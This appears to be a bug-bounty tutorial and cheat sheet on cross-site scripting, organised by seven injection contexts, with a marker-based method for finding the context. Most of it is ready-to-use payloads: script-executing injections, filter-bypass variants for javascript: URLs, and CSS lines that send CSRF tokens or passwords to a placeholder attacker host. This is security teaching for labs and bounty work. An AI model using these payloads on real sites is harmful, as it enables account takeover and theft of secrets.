Quick answer
An XSS payload only works if it escapes the context where your input lands. Injecting <script> inside a value="" attribute doesn't execute — you need to close the quote first. The methodology that scales: inject a unique marker (zzaazz), locate the marker in the DOM, identify the exact context (HTML body / attribute / JS string / JS event / URL / CSS / JSON) and apply the minimal payload that escapes that context. No theory — just seven contexts, seven payloads.
The 7 contexts where your input lands
| # | Context | How your input appears | Minimal escape |
|---|---|---|---|
| 1 | HTML body | <div>INPUT</div> | <svg onload=alert(1)> |
| 2 | HTML attribute | <input value="INPUT"> | "><svg onload=alert(1)> |
| 3 | JS string | var x = "INPUT"; | ";alert(1);// |
| 4 | JS event handler | onclick="foo('INPUT')" | ');alert(1);// |
| 5 | URL (href/src) | <a href="INPUT"> | javascript:alert(1) |
| 6 | CSS | <style>color:INPUT</style> | red;}*{background:url(//evil)} |
| 7 | JSON embed | <script>var d={"x":"INPUT"}</script> | "};alert(1);// |
Inject zzaazz<>"' and search the response for how it appears — that determines the context.
Context 1 — HTML body
Your input lands between tags. Any tag with an event handler works; <script> only if the page isn't parsed as <noscript>/textarea.
<svg onload=alert(1)>
<img src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>
<input autofocus onfocus=alert(1)>
If only < and > are filtered but not entities — encode with HTML entities:
<img src=x onerror=alert(1)> ← NO ejecuta (parseado como texto)
<img src=x onerror=alert(1)> ← SÍ ejecuta (entidad dentro de atributo)
[!tip] Quick test of the HTML context Inject
<u>xand see if it appears underlined in the render — confirms you parsed as HTML.
Context 2 — HTML attribute
Your input lands inside an attribute. Two sub-cases: quoted or unquoted.
Quoted
<input value="INPUT"> → cierra comilla + tag
"><svg onload=alert(1)>
"><img src onerror=alert(1)>
Unquoted (rarer but more permissive)
<input value=INPUT> → espacio basta para nuevo atributo
x onfocus=alert(1) autofocus
When > is filtered but the attribute is an event handler
If your input lands directly in onclick="...", you don't need to escape the tag:
<button onclick="doStuff('INPUT')"> → ');alert(1);//
accesskey trick for hidden input / meta
/?lol=h0tak88r' accesskey='x' onclick='alert(0)'
The victim must press ALT+SHIFT+X (Chrome/Edge). Useful when you only control an <input type=hidden> or <meta>.
Popover API (Chrome 2023+) — bypass of filters that don't know onbeforetoggle
<input type="hidden" value="x" popover id="newsletter" onbeforetoggle=alert(1)>
<meta name="x" content="y" popover id="newsletter" onbeforetoggle=alert(1)>
Requirement: the page already has a <button popovertarget="newsletter">. If your injection appears earlier in the DOM, the browser fires onbeforetoggle on your element.
Context 3 — JS string
Your input lands inside quotes in a <script> block. Close the quote and insert your code.
<script>
var nombre = "INPUT"; → ";alert(1);//
";alert(document.domain);//
var nombre = 'INPUT'; → ';alert(1);//
</script>
When only " is escaped with \ but not \ itself
INPUT = \";alert(1);//
If the app converts " into \", your \ becomes \\ and the following " closes the string:
\\\";alert(1);//
Backticks (template literals)
var html = `<div>INPUT</div>`; → ${alert(1)}
`;alert(1);//
Context 4 — JS event handler
Your input lands inside an event handler attribute. This is HTML + JS combined — you have two layers to escape.
<a onclick="goTo('INPUT')"> → ');alert(1);//
<button onclick="alert('INPUT')"> → ');alert(1);//
If the quotes are escaped to ' or ', the HTML parser decodes them before passing them to JS — the decoded quote closes the string just the same.
<a onclick="goTo('INPUT')"> → ');alert(1);//
[!warning] Double decoding Event handlers pass through the HTML decoder first, then the JS parser.
');alert(1);//decodes to');alert(1);//before executing — useful to bypass filters that only look for literal characters.
Context 5 — URL (href, src, action)
Your input lands as a URL. The classic payload:
javascript:alert(1)
javascript:alert(document.domain)
data:text/html,<script>alert(1)</script>
Bypass of filters that block javascript:
JaVaScRiPt:alert(1) ← case
java\tscript:alert(1) ← tab (\t)
java	script:alert(1) ← tab entity
java	script:alert(1) ← named entity
java%09script:alert(1) ← URL-encoded
\j\a\v\a\s\c\r\i\p\t:alert(1) ← backslash escapes (algunos parsers)
Markdown link injection
[click](javascript:alert(1))
[click](j a v a s c r i p t:alert(1))
[click](javascript:window.onerror=alert;throw%201)
Useful in apps that render markdown without sanitizing URLs (issue trackers, READMEs, comments).
[!info] Modern frameworks partially cover this React v19 blocks
javascript:inhrefand<object>automatically. Butwindow.open(userInput)andlocation.href = userInputare not covered — they're still frequent XSS in post-login redirects.
Context 6 — CSS
Your input lands inside a <style> block or a style attribute. CSS doesn't execute JS directly (since IE removed expression()) but it allows data exfiltration:
<style>
.user-INPUT { background: red; }
→ x;}*{background:url("//attacker.tld/?c="attr(value));}
</style>
Exfil via attribute selector
input[value^="a"] { background: url(//attacker.tld/a); }
input[value^="b"] { background: url(//attacker.tld/b); }
/* ... */
Each letter of a field's value is exfiltrated to your collaborator. Useful against CSRF tokens or pre-filled passwords.
Import of an external stylesheet
@import url("//attacker.tld/exfil.css");
Context 7 — JSON embed
The app generates JSON inline inside a <script>:
<script>
var data = {"username":"INPUT"};
</script>
→ "};alert(1);//
→ </script><script>alert(1)</script>
When < is escaped but / isn't
</script> can break out even if <script> is filtered: the HTML parser terminates the <script> block when it sees </script> literally — your JSON is already closed.
"INPUT": "</script><img src=x onerror=alert(1)>"
Quick identification with a marker
Inject a marker and observe how it appears. A single request gives you the context:
INPUT = zzaa<u>"'</u>zz</textarea>'/zz
Search for zzaa in the response:
| Appears | Context |
|---|---|
<u> renders | HTML body |
<u> (escaped) and inside <input value="..."> | HTML attribute |
Inside <script>...zzaa..."...zz</script> | JS string |
Inside onclick="...zzaa..." | JS event |
Inside <a href="...zzaa..."> | URL |
Inside <style>...zzaa...</style> | CSS |
Inside <script>var x = {...zzaa...}</script> | JSON embed |
Hunting checklist
- Inject a unique marker (
zzaazz<>"') and locate it in the response. - Identify the exact context before throwing aggressive payloads.
- Attributes: try with and without closing the quote. Without a quote you only need a space.
- JS string: try
",', backtick,</script>. - URL sinks: always try
javascript:+ case/tab/entity variants. - Markdown: try
[x](javascript:alert(1))in any field that renders markdown. - Hidden/meta attributes: try
accesskey+popover onbeforetoggle. - CSS: if you only control styles, exfil with an
attribute selector+ collaborator. - JSON embed: try breaking out with
</script>even if it looks escaped. - Document the minimal payload — it raises the bounty when it's one-shot.
Related labs
Practice context detection in 8 real apps with different sinks in XSS labs.
Practice this in a lab
Xss Context Finder
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
There's an extra payload at the end
El cheatsheet completo de 47 payloads por contexto + el script que detecta tu contexto automáticamente.
€7.99/mo · cancel anytime
Related articles
Stored XSS in template names — from the most boring field to domain takeover
A template title field, unsanitized, in a session with permissions over domains. A real €1,200 bounty. How to find XSS where nobody looks.
SQL Injection — complete methodology with time-based, UNION and RCE
Detection via isomorphic queries, time-based payloads for 4 engines, escalation to RCE (xp_cmdshell, INTO OUTFILE, UDFs) and cross-field bypasses.
DOM XSS — gadgets, postMessage handlers and CVE-2025-59840
DOM XSS isn't just innerHTML. Sources/sinks, gadget chains via toString(), postMessage handlers without origin checks, broken hash-based routing.